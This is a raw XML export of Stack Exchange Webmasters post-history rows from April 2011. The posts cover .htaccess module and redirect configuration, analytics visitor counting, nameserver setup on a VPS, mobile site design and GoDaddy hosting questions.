  <row Id="27802" PostHistoryTypeId="1" PostId="12193" RevisionGUID="81d1e8d3-5f5e-4e6d-9c2e-db70e202a0e1" CreationDate="2011-04-14T09:35:53.167" UserId="6746" Text="How to verify what modules are active on my server?" />
  <row Id="27803" PostHistoryTypeId="3" PostId="12193" RevisionGUID="81d1e8d3-5f5e-4e6d-9c2e-db70e202a0e1" CreationDate="2011-04-14T09:35:53.167" UserId="6746" Text="&lt;htaccess&gt;&lt;server&gt;" />
  <row Id="27804" PostHistoryTypeId="2" PostId="12194" RevisionGUID="80d58268-780f-44e2-a368-15901d30b695" CreationDate="2011-04-14T09:43:32.657" UserId="6746" Text="Maybe this [cheat sheet][1] could come in handy here.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smashingmagazine.com/2010/05/03/vi-editor-linux-terminal-cheat-sheet-pdf/" />
  <row Id="27805" PostHistoryTypeId="5" PostId="12193" RevisionGUID="1469a850-650b-48c3-89d3-ed4d41198b47" CreationDate="2011-04-14T09:48:37.470" UserId="6746" Comment="Added more detail" Text="While trying to solve a problem on my website, a recommendation about my .htaccess file I got was&#xD;&#xA;&#xD;&#xA;&gt;  First of all, please check on the&#xD;&#xA;&gt; server for all the different modules&#xD;&#xA;&gt; if they are enabled, and once they&#xD;&#xA;&gt; are, remove the &lt;IfModule&#xD;&#xA;&gt; ...&gt;&lt;/IfModule&gt; blocks. They are&#xD;&#xA;&gt; putting an unnecessary strain on your&#xD;&#xA;&gt; server.&#xD;&#xA;&#xD;&#xA;I don't know where should I look to see if modules are active - is it in the CMS? in the httpd.conf file? in the files on my server? should I make a slight modification in the .htaccess as a test?&#xD;&#xA;But more than that, could the recommendation self be not appropriate?&#xD;&#xA;Thanks. &#xD;&#xA;&#xD;&#xA;Here is the .htaccess file for which the recommendation has been made: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Options +FollowSymLinks -MultiViews&#xD;&#xA;    &#xD;&#xA;    RewriteEngine on&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    AddHandler x-httpd-php .html .htm&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_gzip.c&gt;&#xD;&#xA;    &#xD;&#xA;      mod_gzip_on Yes&#xD;&#xA;      &#xD;&#xA;      mod_gzip_dechunk Yes&#xD;&#xA;    &#xD;&#xA;      mod_gzip_item_include file \.(html?|txt|css|js|php|pl)$&#xD;&#xA;    &#xD;&#xA;      mod_gzip_item_include handler ^cgi-script$&#xD;&#xA;    &#xD;&#xA;      mod_gzip_item_include mime ^text/.*&#xD;&#xA;    &#xD;&#xA;      mod_gzip_item_include mime ^application/x-javascript.*&#xD;&#xA;      &#xD;&#xA;      mod_gzip_item_exclude mime ^image/.*&#xD;&#xA;    &#xD;&#xA;      mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.*&#xD;&#xA;    &#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_expires.c&gt;&#xD;&#xA;    &#xD;&#xA;      ExpiresActive On&#xD;&#xA;    &#xD;&#xA;      ExpiresDefault &quot;access plus 1 seconds&quot;&#xD;&#xA;    &#xD;&#xA;      ExpiresByType text/html &quot;access plus 1 seconds&quot;&#xD;&#xA;    &#xD;&#xA;      ExpiresByType image/gif &quot;access plus 2592000 seconds&quot;&#xD;&#xA;    &#xD;&#xA;      ExpiresByType image/jpeg &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType image/png &quot;access plus 2592000 seconds&quot;&#xD;&#xA;    &#xD;&#xA;      ExpiresByType text/css &quot;access plus 2592000 seconds&quot;&#xD;&#xA;    &#xD;&#xA;      ExpiresByType text/javascript &quot;access plus 216000 seconds&quot;&#xD;&#xA;    &#xD;&#xA;      ExpiresByType application/x-javascript &quot;access plus 216000 seconds&quot;&#xD;&#xA;    &#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;filesMatch &quot;\\.(ico|pdf|flv|jpg|jpeg|png|gif|swf)$&quot;&gt;&#xD;&#xA;    &#xD;&#xA;        Header set Cache-Control &quot;max-age=2592000, public&quot;&#xD;&#xA;    &#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;filesMatch &quot;\\.(css)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=2592000, public&quot;&#xD;&#xA;    &#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;filesMatch &quot;\\.(js)$&quot;&gt;&#xD;&#xA;    &#xD;&#xA;        Header set Cache-Control &quot;max-age=216000, private&quot;&#xD;&#xA;    &#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;filesMatch &quot;\\.(xml|txt)$&quot;&gt;&#xD;&#xA;    &#xD;&#xA;        Header set Cache-Control &quot;max-age=216000, public, must-revalidate&quot;&#xD;&#xA;     &#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;filesMatch &quot;\\.(html|htm|php)$&quot;&gt;&#xD;&#xA;    &#xD;&#xA;        Header set Cache-Control &quot;max-age=1, private, must-revalidate&quot;&#xD;&#xA;    &#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;    &#xD;&#xA;      Header unset ETag&#xD;&#xA;    &#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    FileETag None&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;    &#xD;&#xA;      Header unset Last-Modified&#xD;&#xA;    &#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} !^(www\.)?foo\.com$&#xD;&#xA;    RewriteRule .? http://foo.com%{REQUEST_URI} [R=301,L]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    &#xD;&#xA;    RewriteRule . /index.php&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # END WordPress&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27806" PostHistoryTypeId="2" PostId="12195" RevisionGUID="7f8914d8-7868-46f1-85a2-e1f995af59c4" CreationDate="2011-04-14T09:51:09.040" UserId="3" Text="As noted in a [recent blog post][2], We see **a large discrepancy between Google Analytics &quot;visitors&quot; and Quantcast &quot;visitors&quot;.**&#xD;&#xA;&#xD;&#xA;&gt; Also, for reasons we have never figured out, Google Analytics just gets larger numbers than Quantcast. Right now GA is showing more visitors (15 million) on stackoverflow.com alone than Quantcast sees *on the whole network* (14 million):&#xD;&#xA;&gt; &#xD;&#xA;&gt; ![][1]&#xD;&#xA;&gt; &#xD;&#xA;&gt; Why? I don’t know. Either Google Analytics loses cookies sometimes, or Quantcast misses visitors. Counting is an inexact science.&#xD;&#xA;&#xD;&#xA;We think this is because **Quantcast uses a more conservative ratio of cookies-to-visitors**. Whereas Google Analytics might consider every cookie a &quot;visitor&quot;, Quantcast will only consider every 1.24 cookies a &quot;visitor&quot;. This makes sense to me, as people may access our sites from multiple computers, multiple browsers, etcetera.&#xD;&#xA;&#xD;&#xA;I have two closely related questions:&#xD;&#xA;&#xD;&#xA;1. Is there an accepted standard ratio of cookies to visitors? This is obviously an inexact science, but is there any emerging rule of thumb?&#xD;&#xA;&#xD;&#xA;2. Is there any more accurate way to count &quot;visitors&quot; to a website other than relying on browser cookies? Or is this just always going to be kind of a best-effort estimation crapshoot no matter how you measure it?&#xD;&#xA;&#xD;&#xA;[1]: http://blog.stackoverflow.com/wp-content/uploads/GA-Visitors1.png&#xD;&#xA;[2]: http://blog.stackoverflow.com/2011/04/stack-exchange-traffic-still-growing/" />
  <row Id="27807" PostHistoryTypeId="1" PostId="12195" RevisionGUID="7f8914d8-7868-46f1-85a2-e1f995af59c4" CreationDate="2011-04-14T09:51:09.040" UserId="3" Text="Standard ratio of cookies to &quot;visitors&quot;?" />
  <row Id="27808" PostHistoryTypeId="3" PostId="12195" RevisionGUID="7f8914d8-7868-46f1-85a2-e1f995af59c4" CreationDate="2011-04-14T09:51:09.040" UserId="3" Text="&lt;analytics&gt;&lt;cookie&gt;&lt;visitors&gt;" />
  <row Id="27809" PostHistoryTypeId="5" PostId="12193" RevisionGUID="c2b918d7-495a-4009-b3b4-9fe1289da0db" CreationDate="2011-04-14T09:54:15.780" UserId="6746" Comment="Corrected quote" Text="While trying to solve a problem on my website, a recommendation about my .htaccess file I got was&#xD;&#xA;&#xD;&#xA;&gt;  First of all, please check on the&#xD;&#xA;&gt; server for all the different modules&#xD;&#xA;&gt; if they are enabled, and once they&#xD;&#xA;&gt; are, remove the &#xD;&#xA;&#xD;&#xA;    &lt;IfModule&#xD;&#xA;     ...&gt;&lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;&gt; blocks. They are&#xD;&#xA;&gt; putting an unnecessary strain on your&#xD;&#xA;&gt; server.&#xD;&#xA;&#xD;&#xA;I don't know where should I look to see if modules are active - is it in the CMS? in the httpd.conf file? in the files on my server? should I make a slight modification in the .htaccess as a test?&#xD;&#xA;But more than that, could the recommendation self be not appropriate?&#xD;&#xA;Thanks. &#xD;&#xA;&#xD;&#xA;Here is the .htaccess file for which the recommendation has been made: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Options +FollowSymLinks -MultiViews&#xD;&#xA;    &#xD;&#xA;    RewriteEngine on&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    AddHandler x-httpd-php .html .htm&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_gzip.c&gt;&#xD;&#xA;    &#xD;&#xA;      mod_gzip_on Yes&#xD;&#xA;      &#xD;&#xA;      mod_gzip_dechunk Yes&#xD;&#xA;    &#xD;&#xA;      mod_gzip_item_include file \.(html?|txt|css|js|php|pl)$&#xD;&#xA;    &#xD;&#xA;      mod_gzip_item_include handler ^cgi-script$&#xD;&#xA;    &#xD;&#xA;      mod_gzip_item_include mime ^text/.*&#xD;&#xA;    &#xD;&#xA;      mod_gzip_item_include mime ^application/x-javascript.*&#xD;&#xA;      &#xD;&#xA;      mod_gzip_item_exclude mime ^image/.*&#xD;&#xA;    &#xD;&#xA;      mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.*&#xD;&#xA;    &#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_expires.c&gt;&#xD;&#xA;    &#xD;&#xA;      ExpiresActive On&#xD;&#xA;    &#xD;&#xA;      ExpiresDefault &quot;access plus 1 seconds&quot;&#xD;&#xA;    &#xD;&#xA;      ExpiresByType text/html &quot;access plus 1 seconds&quot;&#xD;&#xA;    &#xD;&#xA;      ExpiresByType image/gif &quot;access plus 2592000 seconds&quot;&#xD;&#xA;    &#xD;&#xA;      ExpiresByType image/jpeg &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType image/png &quot;access plus 2592000 seconds&quot;&#xD;&#xA;    &#xD;&#xA;      ExpiresByType text/css &quot;access plus 2592000 seconds&quot;&#xD;&#xA;    &#xD;&#xA;      ExpiresByType text/javascript &quot;access plus 216000 seconds&quot;&#xD;&#xA;    &#xD;&#xA;      ExpiresByType application/x-javascript &quot;access plus 216000 seconds&quot;&#xD;&#xA;    &#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;filesMatch &quot;\\.(ico|pdf|flv|jpg|jpeg|png|gif|swf)$&quot;&gt;&#xD;&#xA;    &#xD;&#xA;        Header set Cache-Control &quot;max-age=2592000, public&quot;&#xD;&#xA;    &#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;filesMatch &quot;\\.(css)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=2592000, public&quot;&#xD;&#xA;    &#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;filesMatch &quot;\\.(js)$&quot;&gt;&#xD;&#xA;    &#xD;&#xA;        Header set Cache-Control &quot;max-age=216000, private&quot;&#xD;&#xA;    &#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;filesMatch &quot;\\.(xml|txt)$&quot;&gt;&#xD;&#xA;    &#xD;&#xA;        Header set Cache-Control &quot;max-age=216000, public, must-revalidate&quot;&#xD;&#xA;     &#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;filesMatch &quot;\\.(html|htm|php)$&quot;&gt;&#xD;&#xA;    &#xD;&#xA;        Header set Cache-Control &quot;max-age=1, private, must-revalidate&quot;&#xD;&#xA;    &#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;    &#xD;&#xA;      Header unset ETag&#xD;&#xA;    &#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    FileETag None&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;    &#xD;&#xA;      Header unset Last-Modified&#xD;&#xA;    &#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} !^(www\.)?foo\.com$&#xD;&#xA;    RewriteRule .? http://foo.com%{REQUEST_URI} [R=301,L]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    &#xD;&#xA;    RewriteRule . /index.php&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # END WordPress&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27810" PostHistoryTypeId="5" PostId="12004" RevisionGUID="675052b1-06f6-4546-bbab-f3c60e463c7b" CreationDate="2011-04-14T10:02:02.687" UserId="3" Comment="advanced markdown formatting. Lists inside lists are .. not recommended btw" Text="There are several steps to this process:&#xD;&#xA;&#xD;&#xA;1. **Find your server IP's**&#xD;&#xA;&#xD;&#xA;  I'm assuming you have WHM here? Open http://IP/whm (or the path to your server control panel installation) then go to IP Functions &gt;&gt; show IP address usage &amp; check your primary and secondary IP Address. Make a note of these two IP's&#xD;&#xA;&#xD;&#xA;2. **Register your Nameservers**&#xD;&#xA;&#xD;&#xA;  You need to register your nameservers with your Registrar. Login to your registrar’s control panel and register the name servers. This is often called &quot;Child Name Servers&quot; (See: http://i55.tinypic.com/2lu2q2t.png for an example) or if this option isn't available, ask them to &quot;register the name servers&quot; for you.&#xD;&#xA;&#xD;&#xA;  Note: As with all DNS, this can sometimes take time to propagate.&#xD;&#xA;&#xD;&#xA;  ie:&#xD;&#xA;&#xD;&#xA;      - ns1.yourdomainname.tld – the Default IP of your server&#xD;&#xA;      - ns2.yourdomainname.tld – Secondary IP or free IP&lt;br&gt;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;3. **Add nameservers to your VPS** &#xD;&#xA;&#xD;&#xA;  Returning to your VPS Control Panel, Go to http://IP/whm &gt;&gt; Basic cPanel/WHM Setup and scroll down to Primary Nameserver ns1.outsourcingnepal.com &amp; click on “Assign IP address” and then “Add an A entry for this name server”. Then do the same for ns2.&#xD;&#xA;&#xD;&#xA;  Once all done you can check if your nameservers are resolving ok at http://www.dnsstuff.com/tools/lookup.ch?name=ns1.outsourcingnepal.com&amp;type=A&#xD;&#xA;&#xD;&#xA;4. **Add your nameservers to the domain records.**&#xD;&#xA;&#xD;&#xA;  Now you have fully working nameservers you can start changing the domain records for the domains you own to use your nameservers.&#xD;&#xA;&#xD;&#xA;  Some of my favourite useful sites for checking DNS are:&#xD;&#xA;&#xD;&#xA;  [Squish.net dns checker][1]   &#xD;&#xA;  Complete DNS traversal from the root examining all possible routes that a client could travel, calculating percentage probabilities on the way.&#xD;&#xA;&#xD;&#xA;  [Domain Tools][2]  &#xD;&#xA;  Very useful site. Use it all the time.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.squish.net/dnscheck/&#xD;&#xA;  [2]: http://whois.domaintools.com/" />
  <row Id="27811" PostHistoryTypeId="2" PostId="12196" RevisionGUID="2293f9d2-b5cb-46a2-a7f4-79f228898115" CreationDate="2011-04-14T10:02:06.283" UserId="6831" Text="I build a website either by simple HTML/CSS, or I build one using Drupal or Wordpress, for modern PC browsers. Now, I want a mobile-friendly version of the site. What is considered some of the best ways to do this?&#xD;&#xA;&#xD;&#xA;My thoughts:&#xD;&#xA;&#xD;&#xA;1) Detect the mobile browser from a list and redirect to a subdomain/dir that has been designed for mobiles&#xD;&#xA;&#xD;&#xA;2) Build the site to be simulatenously viewable by all browsers, mobile or not (using fluid layouts)?&#xD;&#xA;&#xD;&#xA;3) Using a CMS, install a module that does the work for you.&#xD;&#xA;&#xD;&#xA;I'd really like to know how some of the big, popular sites implement it and what you all consider to be the proper way. I understand that NY Times has its own app for this, but I consider that to be overboard for obvious reasons." />
  <row Id="27812" PostHistoryTypeId="1" PostId="12196" RevisionGUID="2293f9d2-b5cb-46a2-a7f4-79f228898115" CreationDate="2011-04-14T10:02:06.283" UserId="6831" Text="How do sites manage browser and mobile versions?" />
  <row Id="27813" PostHistoryTypeId="3" PostId="12196" RevisionGUID="2293f9d2-b5cb-46a2-a7f4-79f228898115" CreationDate="2011-04-14T10:02:06.283" UserId="6831" Text="&lt;mobile&gt;" />
  <row Id="27814" PostHistoryTypeId="5" PostId="12093" RevisionGUID="e494d760-040c-4dde-84b8-0d7f4204c9bb" CreationDate="2011-04-14T10:03:18.310" UserId="5322" Comment="Better Answer; deleted 1 characters in body; added 579 characters in body" Text="**Old Answer**&#xD;&#xA;&#xD;&#xA;.htaccess rewrites work from the top down. Once a re-write match has been found then apache stops there. So you need to put your re-direction first like this:&#xD;&#xA;&#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} !^(www\.)?domain\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    &#xD;&#xA;    RewriteRule . /index.php&#xD;&#xA;    &#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**New Answer**&#xD;&#xA;&#xD;&#xA;instead of:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^(www\.)?domain\.com$&#xD;&#xA;    RewriteRule .? http://domain.com%{REQUEST_URI} [R=301,L]&#xD;&#xA;&#xD;&#xA;try:&#xD;&#xA;&#xD;&#xA;        RewriteCond %{HTTP_REFERER} !^http://(.+\.)?domain\.com/ [NC]&#xD;&#xA;        RewriteRule (.*) http://domain.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;Or if that doesn't work try:&#xD;&#xA;&#xD;&#xA;        RewriteCond %{HTTP_REFERER} !^http://(.+\.)?domain\.com(.+)? [NC]&#xD;&#xA;        RewriteRule (.*) http://domain.com/$1 [R=301,L]&#xD;&#xA;" />
  <row Id="27815" PostHistoryTypeId="5" PostId="11934" RevisionGUID="52d82929-9a90-4052-a941-9eae6dda31b5" CreationDate="2011-04-14T10:06:12.607" UserId="3" Comment="added 117 characters in body; edited tags" Text="I have recently signed up for a knownhost vps package. My account has been set up on their end. They want me to create `ns1.outsourcingnepal.com` and `ns2.outsourcingnepal.com` in my registar and point to their given IP address.&#xD;&#xA;&#xD;&#xA;I checked my registar site... I can change the DNS info and other too, but where do I create those two entries and add the IPs?&#xD;&#xA;&#xD;&#xA;My domain name: outsourcingnepal.com  &#xD;&#xA;My registar: Public domain registry. (known via betterwhois.com, registered through nearby company Simrik Solutions)&#xD;&#xA;&#xD;&#xA;I have my name servers set to:  &#xD;&#xA;&#xD;&#xA;    ns1.simriksolutions.info  &#xD;&#xA;    ns2.simriksolutions.info  &#xD;&#xA;&#xD;&#xA;I have set my A Record to: &#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    name:  outsourcingnepal.com&#xD;&#xA;    value: ip given by knownhost&#xD;&#xA;&#xD;&#xA;I have set my NS Records:  &#xD;&#xA;&#xD;&#xA;    Sr No 	Record Id       Name 	  	                Value 	  	                    Status 	     &#xD;&#xA;    1 	  	10318811 	  	outsourcingnepal.com 	  	ns1.simriksolutions.info 	  	Active 	 &#xD;&#xA;    2 	  	10318812 	  	outsourcingnepal.com 	  	ns2.simriksolutions.info 	  	Active 	 &#xD;&#xA;    3 	  	10318813 	  	outsourcingnepal.com 	  	ns3.simriksolutions.info 	  	Active 	 &#xD;&#xA;    4 	  	10318814 	  	outsourcingnepal.com 	  	ns4.simriksolutions.info 	  	Active 	 &#xD;&#xA;    5 	  	10321078 	  	outsourcingnepal.com 	  	ns1.outsourcingnepal.com 	  	Active 	 &#xD;&#xA;    6 	  	10321080 	  	outsourcingnepal.com 	  	ns2.outsourcingnepal.com 	  	Active 	 &#xD;&#xA;&#xD;&#xA;**Updates:**&#xD;&#xA;I updated the child name server. I even added the http://outsourcingnepal.com account in WHM of knownhost too.&#xD;&#xA;&#xD;&#xA;Now I am getting the following DNS Lookup result:&#xD;&#xA;&#xD;&#xA;http://www.domaintools.com/research/dns/?query=outsourcingnepal.com&amp;search=dns&#xD;&#xA;&#xD;&#xA;    Outsourcingnepal.com DNS Lookup&#xD;&#xA;    ;; Answer received from 127.0.0.1 (90 bytes)&#xD;&#xA;    ;;&#xD;&#xA;    ;; HEADER SECTION&#xD;&#xA;    ;; id = 5049&#xD;&#xA;    ;; qr = 1 opcode = QUERY aa = 0 tc = 0 rd = 1&#xD;&#xA;    ;; ra = 1 ad = 0 cd = 0 rcode = NOERROR&#xD;&#xA;    ;; qdcount = 1 ancount = 1 nscount = 2 arcount = 0&#xD;&#xA;    &#xD;&#xA;    ;; QUESTION SECTION (1 record)&#xD;&#xA;    ;; outsourcingnepal.com.	IN	A&#xD;&#xA;    &#xD;&#xA;    ;; ANSWER SECTION (1 record)&#xD;&#xA;    outsourcingnepal.com.	13495	IN	A	204.197.252.160&#xD;&#xA;    &#xD;&#xA;    ;; AUTHORITY SECTION (2 records)&#xD;&#xA;    outsourcingnepal.com.	85495	IN	NS	ns1.outsourcingnepal.com.&#xD;&#xA;    outsourcingnepal.com.	85495	IN	NS	ns2.outsourcingnepal.com.&#xD;&#xA;    &#xD;&#xA;    ;; ADDITIONAL SECTION (0 records)" />
  <row Id="27816" PostHistoryTypeId="6" PostId="11934" RevisionGUID="52d82929-9a90-4052-a941-9eae6dda31b5" CreationDate="2011-04-14T10:06:12.607" UserId="3" Comment="added 117 characters in body; edited tags" Text="&lt;web-hosting&gt;&lt;dns&gt;&lt;vps&gt;&lt;registrar&gt;&lt;name-servers&gt;" />
  <row Id="27817" PostHistoryTypeId="2" PostId="12197" RevisionGUID="41db993d-4df3-4cae-9cc3-d9973e7a62a7" CreationDate="2011-04-14T10:15:10.293" UserId="6830" Text="is it possible to create pages in more than one language without having to create separate pages for each language in Google Sites?&#xD;&#xA;&#xD;&#xA;This isn't a feature of Google Sites, but I was hoping there might be a workaround.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Greets,&#xD;&#xA;Kenny" />
  <row Id="27818" PostHistoryTypeId="1" PostId="12197" RevisionGUID="41db993d-4df3-4cae-9cc3-d9973e7a62a7" CreationDate="2011-04-14T10:15:10.293" UserId="6830" Text="Creating multi-language pages in Google Sites" />
  <row Id="27819" PostHistoryTypeId="3" PostId="12197" RevisionGUID="41db993d-4df3-4cae-9cc3-d9973e7a62a7" CreationDate="2011-04-14T10:15:10.293" UserId="6830" Text="&lt;multilingual&gt;&lt;google-sites&gt;" />
  <row Id="27820" PostHistoryTypeId="5" PostId="8504" RevisionGUID="2420f9e3-8df3-4efa-aa9f-a847eacc3219" CreationDate="2011-04-14T10:17:31.967" UserId="4509" Comment="Restructured for better readability" Text="Personally, I have not encountered any sites that exclude IE. From IE7, there are very few issues with IE. This is mostly minor cosmetic ones you can ignore. It usually don't break the page, just makes it look slightly different than you intended.&#xD;&#xA;&#xD;&#xA;If someone bans a page, it is probably as a general protest against Microsoft, rather than not wanting to pollute code with workarounds for IE. &#xD;&#xA;&#xD;&#xA;You might not have a large percentage of IE users in your area, but world wide, IE still has a good share. See [this page](http://www.w3schools.com/browsers/browsers_stats.asp) on w3schools that measures the browser statistics hit on their page. The statistics for IE degrades gradually, but is still miles ahead Safari and Opera. It is still one tiny step ahead of Chrome, but it seems like it is Chrome that takes over the IE users, as IE degrades at about the same speed as Chrome increases.  &#xD;&#xA;&#xD;&#xA;That said - w3schools is a site that is not quite representable for a normal user, because it is a site mainly for web developers, and technical (especially web technical) people are more reluctant to IE than normal internet users. Most non-technical Windows users will stick to IE because they don't bother to switch to anything else.&#xD;&#xA;&#xD;&#xA;From a users perspective, there are a lot of sites, which are primary designed for IE (because it historically has been the larges user base). These sites are mostly tested also for Firefox, but that's where it stops, which leaves the browsers that are stricter to the standards out of the loop (Firefox works good with the standards, but also allows for more buggy HTML than many other browsers).&#xD;&#xA;" />
  <row Id="27821" PostHistoryTypeId="2" PostId="12198" RevisionGUID="0ad931a7-fa93-496e-8df5-11e03f810c61" CreationDate="2011-04-14T10:22:15.283" UserId="6228" Text="I was wondering if php-gd was working on godaddy linux shared hosting.&#xD;&#xA;&#xD;&#xA;I will need to handle photos to a minimum extent to resize profile pictures and pictures posted." />
  <row Id="27822" PostHistoryTypeId="1" PostId="12198" RevisionGUID="0ad931a7-fa93-496e-8df5-11e03f810c61" CreationDate="2011-04-14T10:22:15.283" UserId="6228" Text="Does php-gd work with godaddy shared hosting" />
  <row Id="27823" PostHistoryTypeId="3" PostId="12198" RevisionGUID="0ad931a7-fa93-496e-8df5-11e03f810c61" CreationDate="2011-04-14T10:22:15.283" UserId="6228" Text="&lt;godaddy&gt;&lt;shared-hosting&gt;" />
  <row Id="27824" PostHistoryTypeId="2" PostId="12199" RevisionGUID="bae50ac5-290e-40e0-9f38-68f8ed1d7cdf" CreationDate="2011-04-14T10:24:31.280" UserId="1643" Text="1. Means you have to do two sites.&#xD;&#xA;2. Is not simple, but I think it's worth it. This question from someone who only wanted to do the work once may help you: http://webmasters.stackexchange.com/questions/10996/what-are-the-most-efficient-effective-ways-i-can-build-a-website-for-mobile-and-c&#xD;&#xA;3. That's easier than 1 or 2, but the results may not be as good.&#xD;&#xA;&#xD;&#xA;If you can give an example of a big popular site we can try and work out how they did it." />
  <row Id="27825" PostHistoryTypeId="2" PostId="12200" RevisionGUID="ee2618ed-8544-4e48-90c6-506a00983f45" CreationDate="2011-04-14T10:26:26.957" UserId="1643" Text="Yes, according to GoDaddy: http://help.godaddy.com/article/1467" />
  <row Id="27826" PostHistoryTypeId="2" PostId="12201" RevisionGUID="dcf76114-2490-4909-8b14-7616f0bb4871" CreationDate="2011-04-14T10:53:03.193" UserId="1426" Text="In addition to the other answers posted, a lot of sites use &lt;a href=&quot;http://www.gravatar.com/&quot;&gt;Gravatar&lt;/a&gt; to show an icon for the author alongside their comments. I believe Gravatars are based on the email address." />
